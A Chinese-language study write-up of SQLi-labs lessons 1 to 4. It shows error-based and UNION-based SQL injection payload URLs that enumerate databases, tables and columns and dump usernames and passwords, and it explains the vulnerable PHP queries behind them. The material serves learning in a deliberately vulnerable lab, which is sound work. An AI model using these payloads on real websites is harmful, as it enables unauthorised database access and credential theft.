本文记录 SQL 注入的学习过程,资料为 SQLi-labs
基于错误的 sql 注入
Less - 1: GET - Error based - Single quotes - String
测试漏洞
在 URL 后面添加一个引号
http://10.10.10.137/sqli-labs/Less-1/?id=1'
发现有报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
从上述错误当中,我们可以看到提交到sql 中的1’在经过 sql 语句构造后形成 ‘1” LIMIT 0,1,多加了一个’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的’ 去掉呢?
尝试:
'or 1=1--+
URL
http://10.10.10.137/sqli-labs/Less-1/?id=1' or 1=1 --+
此时构造的sql 语句就成了
Select ****** where id='1'or 1=1--+' LIMIT 0,1
此时已经有正常的数据显示出来
测试列数
此处可以利用order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用order by 3, 超过3 就会报错。
?id=1' order by 4--+
结果显示结果超出。
分析原理
从源代码中分析下为什么会造成注入
Sql 语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Id 参数在拼接sql 语句时,未对id 进行任何的过滤等操作,所以当提交 ‘or 1=1–+,直接构造的 sql 语句就是
SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1
这条语句因or 1=1 所以为永恒真。
union 联合注入
union 的作用是将两个sql 语句进行联合
union 前后的两个sql 语句的选择列数要相同才可以
Union all 与union 的区别是增加了去重的功能
http://10.10.10.137/sqli-labs/Less-1/?id=-1 'union select 1,2 --+
当id 的数据在数据库中不存在时,(此时我们可以id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
http://10.10.10.137/sqli-labs/Less-1/?id=-1 ' union select 1,2 ,3--+
爆破数据库
http://10.10.10.137/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
此时的sql 语句为
SELECT * FROM users WHERE id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
爆 security 数据库的数据表
http://10.10.10.137/sqli-labs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
此时的sql 语句为
SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
爆 users 表的列
http://10.10.10.137/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
此时的sql 语句为
SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
爆数据
http://10.10.10.137/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=2--+
此时的sql 语句为
SELECT * FROM users WHERE id='-1' union select 1,username,password from users where id=2--+ LIMIT 0,1
Less - 2: GET - Error based - Intiger based
测试
在 URL 后面添加一个引号
http://10.10.10.137/sqli-labs/Less-2/?id=1'
错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
现在执行的查询语句如下:
Select * from TABLE where id = 1';
所以这里的奇数个单引号破坏了查询,导致抛出错误。
因此我们得出的结果是,查询代码使用了整数。
Select * from TABLE where id = (some integer value);
现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以注释掉剩余的查询:
http://localhost/sqli-labs/Less-2/?id=1–-+
源代码中可以分析到SQL 语句为下:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
对id 没有经过处理
可以成功注入的有:
or 1=1 or 1=1 --+
其余的 payload 与 less1 中一直,只需要将 less1 中的 ’ 去掉即可。
测试列数
此处可以利用order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用order by 3, 超过3 就会报错。
?id=1 order by 4--+
结果显示结果超出。
union 联合注入
union 的作用是将两个sql 语句进行联合
union 前后的两个sql 语句的选择列数要相同才可以
Union all 与union 的区别是增加了去重的功能
http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,2,3 --+
当id 的数据在数据库中不存在时,(此时我们可以id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
爆破数据库
http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
此时的sql 语句为
SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
爆 security 数据库的数据表
http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
此时的sql 语句为
SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
爆 users 表的列
http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
此时的sql 语句为
SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
爆数据
http://10.10.10.137/sqli-labs/Less-2/?id=-1 union select 1,username,password from users where id=2--+
此时的sql 语句为
SELECT * FROM users WHERE id=-1 union select 1,username,password from users where id=2--+ LIMIT 0,1
Less - 3: GET - Error based - Single quotes with twist - String
测试漏洞
在 URL 后面添加 id=’
http://10.10.10.137/sqli-labs/Less-1/?id='
发现有错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1
注入代码后,我们得到像这样的一个错误:
MySQL server version for the right syntax to use near "") LIMIT 0,1' at line 1
这里它意味着,开发者使用的查询是:
Select login_name, select password from table where id= ('our input here')
所以我们再用这样的代码来进行注入:
?id=1') –-+
URL
http://10.10.10.137/sqli-labs/Less-3/?id=1') --
在源代码中的SQL 查询语句,31 行:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
可以注入成功的有
') or '1'=('1' ) or 1=1 --+
其余的 payload 与 less1 中一致,只需要将 less1 中的 ’ 添加 ) 即 ‘) 。
测试列数
此处可以利用order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用order by 3, 超过3 就会报错。
?id=1’ order by 4–+
结果显示结果超出。
union 联合注入
union 的作用是将两个sql 语句进行联合
union 前后的两个sql 语句的选择列数要相同才可以
Union all 与union 的区别是增加了去重的功能
http://10.10.10.137/sqli-labs/Less-3/?id=-1 ')union select 1,2,3 --+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
爆破数据库
http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata-- +
此时的sql 语句为
SELECT * FROM users WHERE id=('-1') union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
爆 security 数据库的数据表
http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
此时的sql 语句为
SELECT * FROM users WHERE id=('-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
爆 users 表的列
http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
此时的sql 语句为
SELECT * FROM users WHERE id=('-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
爆数据
http://10.10.10.137/sqli-labs/Less-3/?id=-1') union select 1,username,password from users where id=2--+
此时的sql 语句为
SELECT * FROM users WHERE id=('-1') union select 1,username,password from users where id=2--+ LIMIT 0,1
Less - 4: GET - Error based - Double Quotes - String
测试漏洞
在 URL 后面添加 ?id=1”
http://10.10.10.137/sqli-labs/Less-4/?id=1"
发现有错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
这里它意味着,代码当中对 id 参数进行了 “” 和 () 的包装。
所以我们再用这样的代码来进行注入:
?id=1") –-+
URL
http://10.10.10.137/sqli-labs/Less-4/?id=1%E2%80%9D)%20%E2%80%93-+
这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。
在源代码中的SQL 查询语句,31 行:
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
可以成功注入的有:
") or "1"=("1 ") or 1=1 --+
其余的payload 与less1 中一直,只需要将less1 中的’ 更换为”) 。
测试列数
此处可以利用order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用order by 3, 超过3 就会报错。
?id=1”) order by 4–+
结果显示结果超出。
union 联合注入
union 的作用是将两个sql 语句进行联合
union 前后的两个sql 语句的选择列数要相同才可以
Union all 与union 的区别是增加了去重的功能
http://10.10.10.137/sqli-labs/Less-4/?id=-1 ")union select 1,2,3 --+
当id 的数据在数据库中不存在时,(此时我们可以id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
爆破数据库
http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata--+
此时的sql 语句为
SELECT * FROM users WHERE id=("-1") union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
爆 security 数据库的数据表
http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
此时的sql 语句为
SELECT * FROM users WHERE id=("-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
爆 users 表的列
http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
此时的sql 语句为
SELECT * FROM users WHERE id=("-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
爆数据
http://10.10.10.137/sqli-labs/Less-4/?id=-1") union select 1,username,password from users where id=2--+
此时的sql 语句为
SELECT * FROM users WHERE id=("-1") union select 1,username,password from users where id=2--+ LIMIT 0,1